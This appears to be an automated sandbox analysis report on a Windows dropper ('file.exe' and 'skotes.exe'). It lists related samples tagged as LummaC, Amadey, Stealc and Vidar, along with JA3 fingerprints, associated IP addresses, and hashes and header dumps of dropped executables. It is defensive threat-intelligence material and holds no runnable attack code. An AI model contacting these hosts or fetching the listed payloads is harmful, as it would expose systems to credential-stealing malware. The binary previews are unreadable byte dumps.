	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	185.215.113.64
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	185.215.113.43
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://kubota.highq.com/kubota/viewUserProfile.action?metaData.encryptTargetUserID=D1l4_GI3rHw=&metaData.updateUserProfileProcess=true	Get hash	malicious	Unknown	Browse	23.1.237.91
	QhR8Zp6fZs.lnk	Get hash	malicious	RHADAMANTHYS	Browse	23.1.237.91
	CROC000400 .pdf	Get hash	malicious	Unknown	Browse	23.1.237.91
	UYJ0oreVew.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	L1SrJoDQvG.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
	https://forms.office.com/Pages/ShareFormPage.aspx?id=z5Knz2h3QUOIV4F1TCr6H8l1dBxA_RZAr7lBOGCmz8VURUlLQURGTlFGTEQ0QzdESlFMT1lGUlpRWi4u&sharetoken=rKEHIuU7H8od3T6m0C0Z	Get hash	malicious	Unknown	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	23.1.237.91
	QIo3SytSZA.exe	Get hash	malicious	Vidar	Browse	23.1.237.91
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	JiZQEd33mn.exe	Get hash	malicious	Unknown	Browse	23.1.237.91
a0e9f5d64349fb13191bc781f81f42e1	hubus.exe	Get hash	malicious	LummaC, PureLog Stealer, zgRAT	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, LummaC Stealer	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	file.exe	Get hash	malicious	ScreenConnect Tool, LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	mirabon.msi	Get hash	malicious	BruteRatel, Latrodectus	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	Tii6ue74NB.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	Svcrhpjadgyclc.cmd	Get hash	malicious	DBatLoader	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.67.209.202 172.67.179.109 104.21.91.209
	MFQbv2Yuzv.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.209.202 172.67.179.109 104.21.91.209

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	NetSupport RAT, LummaC, Amadey, Blank Grabber, LummaC Stealer, PureLog Stealer	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4455936
Entropy (8bit):	7.985009488298196
Encrypted:	false
SSDEEP:	98304:i5Vhq3obBjDB2C53R1xQuyJul6y09/LuI7/wH8yO1g:8SobpDRB1XyJul6y04W/wH8y+
MD5:	8664A5A6E958F985735B8A17171550BC
SHA1:	3DEB8BFCDC32DDF9A678F44C59AA70E3A7F5BB5F
SHA-256:	FFCC7288342A28C0580BEA142951BF4AC33A3F391D8F9323F9E74293D2817E82
SHA-512:	ADC1C9BC3AF3A39B066A9231EF6BD9119D48DFF41A4E5BFAC695C40A5D2B9E5E9F4EB6E4779408CD7F22FE0E7E5697D7FA314778864FD13BB321DB3F8D0514B0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@...................................D...@... ............................._.a.s.....a......................p...............................p...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... .P8...a......R(.............@...biyvevdc............T(.............@...aogmlwgx..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: AWrVzd6XpC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: random.exe_Y.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2923008
Entropy (8bit):	6.510945104503427
Encrypted:	false
SSDEEP:	49152:Eaq7dtsVYIY4Ubk2nK87eeQ1mMOXKEzYc/8dmi1c4i9rvL6bYj1N:Exx6iT4UguK8pcmMOXOvYQa9rmY
MD5:	54BD0A4A6832CD8741DD5FC5F0DAF5A6
SHA1:	F26F87B42FDF58061417D60EB1F88EA831170F5D
SHA-256:	AB3C146BCD1AC658F3655AA9B5A862EC2B47811729B69FAD46856E31A6E74747
SHA-512:	9C80905C436CE23840BE805222778F6A0332C768FB105AC63E11B8EBBB2F4330AC7630611D9ED5F7DC32FA70F1DBD3C6ECC7FAF5F728D496102E1D96C5CE2CB9
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................p/...........@.........................../.......-...@.................................T0..h............................1...................................................................................... . .........F..................@....rsrc ..... .......V..............@....idata .....0.......V..............@...fmpsqbte. ..@......X..............@...yzkhfydu.....`/......r,.............@....taggant.0...p/.."...x,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4483072
Entropy (8bit):	7.984374373130843
Encrypted:	false
SSDEEP:	98304:RY3zmnEwBIPSoKp8c6tY11HZ28iC53RlCPCaRFX62szGgA5:RY3zrwBIPSogP3IjKRlCbfX6s
MD5:	98F2F2F0D74571AF72DD4CA43C1692BF
SHA1:	507CAC98014412C6E697EA75F3C1941BAD57DF48
SHA-256:	DFE46285484362AF5DC63DD0BBA5DE89C1C1D7105F7E8D05B2514FA39AC3750A
SHA-512:	555B04FCB4FB1B49F35BD99BBCC9E40B85BEC6FB604C71CE997A0027EB616248E0CD225DE905C2D72B5E72763383438250A0063FEFDF3323137E075B76CC63C5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...`.......pH...@..................................TE...@... ............................._pt.s....`t.....................lN...............................N...................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..8...t......`(.............@...zicceeoj.....p.......b(.............@...xmbctvay.....P.......BD.............@....taggant.0...`..."...FD.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2923008
Entropy (8bit):	6.510945104503427
Encrypted:	false
SSDEEP:	49152:Eaq7dtsVYIY4Ubk2nK87eeQ1mMOXKEzYc/8dmi1c4i9rvL6bYj1N:Exx6iT4UguK8pcmMOXOvYQa9rmY
MD5:	54BD0A4A6832CD8741DD5FC5F0DAF5A6
SHA1:	F26F87B42FDF58061417D60EB1F88EA831170F5D
SHA-256:	AB3C146BCD1AC658F3655AA9B5A862EC2B47811729B69FAD46856E31A6E74747
SHA-512:	9C80905C436CE23840BE805222778F6A0332C768FB105AC63E11B8EBBB2F4330AC7630611D9ED5F7DC32FA70F1DBD3C6ECC7FAF5F728D496102E1D96C5CE2CB9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................p/...........@.........................../.......-...@.................................T0..h............................1...................................................................................... . .........F..................@....rsrc ..... .......V..............@....idata .....0.......V..............@...fmpsqbte. ..@......X..............@...yzkhfydu.....`/......r,.............@....taggant.0...p/.."...x,.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018058001\324fcfa2b3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	776832
Entropy (8bit):	7.859727158445845
Encrypted:	false
SSDEEP:	12288:smOcxtujRwuweJH9RKC6cmulcfJbBiv0W6NLtXcgAuuweJH9RKC6cmulcfJbBivj:pG+XeJH9Rp6RtfNLtMmXeJH9Rp6RtfN8
MD5:	AFD936E441BF5CBDB858E96833CC6ED3
SHA1:	3491EDD8C7CAF9AE169E21FB58BCCD29D95AEFEF
SHA-256:	C6491D7A6D70C7C51BACA7436464667B4894E4989FA7C5E05068DDE4699E1CBF
SHA-512:	928C15A1EDA602B2A66A53734F3F563AB9626882104E30EE2BF5106CFD6E08EC54F96E3063F1AB89BF13BE2C8822A8419F5D8EE0A3583A4C479785226051A325
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 68%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L.....`g..........".................RY............@.......................................@..................................7..<...............................@...........................X.......................(9..T............................text............................... ..`.rdata..$...........................@..@.data...l"...P.......>..............@....bsS....S............T.............. ..`.tls.................V..............@....rsrc................X..............@..@.reloc..@............Z..............@..B.bss.................t..............@....bss.........p......................@...................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4455936
Entropy (8bit):	7.985009488298196
Encrypted:	false
SSDEEP:	98304:i5Vhq3obBjDB2C53R1xQuyJul6y09/LuI7/wH8yO1g:8SobpDRB1XyJul6y04W/wH8y+
MD5:	8664A5A6E958F985735B8A17171550BC
SHA1:	3DEB8BFCDC32DDF9A678F44C59AA70E3A7F5BB5F
SHA-256:	FFCC7288342A28C0580BEA142951BF4AC33A3F391D8F9323F9E74293D2817E82
SHA-512:	ADC1C9BC3AF3A39B066A9231EF6BD9119D48DFF41A4E5BFAC695C40A5D2B9E5E9F4EB6E4779408CD7F22FE0E7E5697D7FA314778864FD13BB321DB3F8D0514B0
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@...................................D...@... ............................._.a.s.....a......................p...............................p...................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... .P8...a......R(.............@...biyvevdc............T(.............@...aogmlwgx..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018060001\ba94e3db0d.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1885696
Entropy (8bit):	7.9502129539309525
Encrypted:	false
SSDEEP:	49152:xygWjRQ3HLL/piTRSyEvGqpGl3Ao1cVPeb3ymHw2NG:ggrHpi8yhqclT1vtN
MD5:	25FB9C54265BBACC7A055174479F0B70
SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018061001\ef4aa82a7c.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4483072
Entropy (8bit):	7.984374373130843
Encrypted:	false
SSDEEP:	98304:RY3zmnEwBIPSoKp8c6tY11HZ28iC53RlCPCaRFX62szGgA5:RY3zrwBIPSogP3IjKRlCbfX6s
MD5:	98F2F2F0D74571AF72DD4CA43C1692BF
SHA1:	507CAC98014412C6E697EA75F3C1941BAD57DF48
SHA-256:	DFE46285484362AF5DC63DD0BBA5DE89C1C1D7105F7E8D05B2514FA39AC3750A
SHA-512:	555B04FCB4FB1B49F35BD99BBCC9E40B85BEC6FB604C71CE997A0027EB616248E0CD225DE905C2D72B5E72763383438250A0063FEFDF3323137E075B76CC63C5
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...`.......pH...@..................................TE...@... ............................._pt.s....`t.....................lN...............................N...................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... ..8...t......`(.............@...zicceeoj.....p.......b(.............@...xmbctvay.....P.......BD.............@....taggant.0...`..."...FD.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018062001\6454cda0dd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3017216
Entropy (8bit):	6.5602069013296065
Encrypted:	false
SSDEEP:	49152:DUEL8aWXxxR4zmtHbaTpanQ6A3tOhbDgF5yx3G9RGpelk1+a:DUE4aWXfR4CtHbaTpanQV3UVgF5W3BE
MD5:	744E8A3718A8BCCB6C0BFE243C7AC195
SHA1:	06AD06E208965913A03307439E68F1168027FB89
SHA-256:	9C41A2F71BF50C12C268E61147794C07E5A65642CD2A08235F5DCE0AD0CDBC63
SHA-512:	66802302B003B51072A4EBA3B81DD4728F88D642A5813D57E402FD4AB23B4F0F6F07F6812380B6C5BC42818C6A6EFC32654405C96253BEFD023C1B26D5286273
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................1...........@...........................1...........@.................................W...k............................1...............................1..................................................... . ............................@....rsrc...............................@....idata ............................@...kbteuhkh..........................@...hmexrxce......1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 00:11:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9846575947479024
Encrypted:	false
SSDEEP:	48:8BdFTNtZHbidAKZdA19ehwiZUklqehqy+3:8R3rpy
MD5:	39DDE28C5D6F15C96082B8A85DF2F7C8
SHA1:	C7A860D7080C7C0E6EBE36DCC8CFD5300A944118
SHA-256:	BCB4FAA09303449621D0CA0A05047CDD3AF6E5FB0431EA9B64586D5B1B07B6BC
SHA-512:	CF137424C182421A1343AA26B2AFBA2C6AF7AE1052329CFC19B01849356F8531F773EB780C615A427C1813351310715FA85FE8AF451665D297658AC7D9A68E14
Malicious:	false
Preview:	L..................F.@.. ...$+.,.... ..(\|R..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Yz.....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Yz.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Yz.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Yz............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y\|............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............`......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 20 00:11:54 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.99764131597853
Encrypted:	false
SSDEEP:	48:8KdFTNtZHbidAKZdA1weh/iZUkAQkqehZy+2:8g3Z9QQy
MD5:	E0DFF136CE88DF8BE0893FA89DEE4101
SHA1:	94369EC5328363E5937D25313FA70FF800F011F7
SHA-256:	EAC16E77BA1B0E476E656BA922814EA4FE311E145BCADD2CDE7CF8C5F5981ED5
SHA-512:	FADDE0E0F5B4D376FD2428079F3CBA0C593BF82212DCE99D0402DDEFA76C315CD05DFD1CF81B2556A54CBA068670532D29DE8E796CF40A142447D342277E8BB6
Malicious:	false
